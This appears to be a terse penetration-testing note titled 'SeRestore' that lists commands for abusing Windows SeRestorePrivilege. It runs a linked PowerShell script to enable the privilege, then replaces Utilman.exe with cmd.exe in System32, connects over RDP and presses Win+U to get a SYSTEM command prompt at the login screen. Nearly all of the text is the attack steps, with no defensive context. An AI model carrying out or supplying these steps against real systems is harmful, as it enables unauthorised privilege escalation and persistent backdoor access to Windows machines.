SeRestore

#https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1

.\EnableSeRestorePrivilege.ps1


get-childitem -path C:\\Windows\\System32\\ -include utilman.exe -file -recurse -erroraction silentlycontinue


mv C:\\Windows\\System32\\Utilman.exe C:\\Windows\\System32\\Utilman.old

mv cmd.exe Utilman.exe


rdesktop -0 $ip

press win+u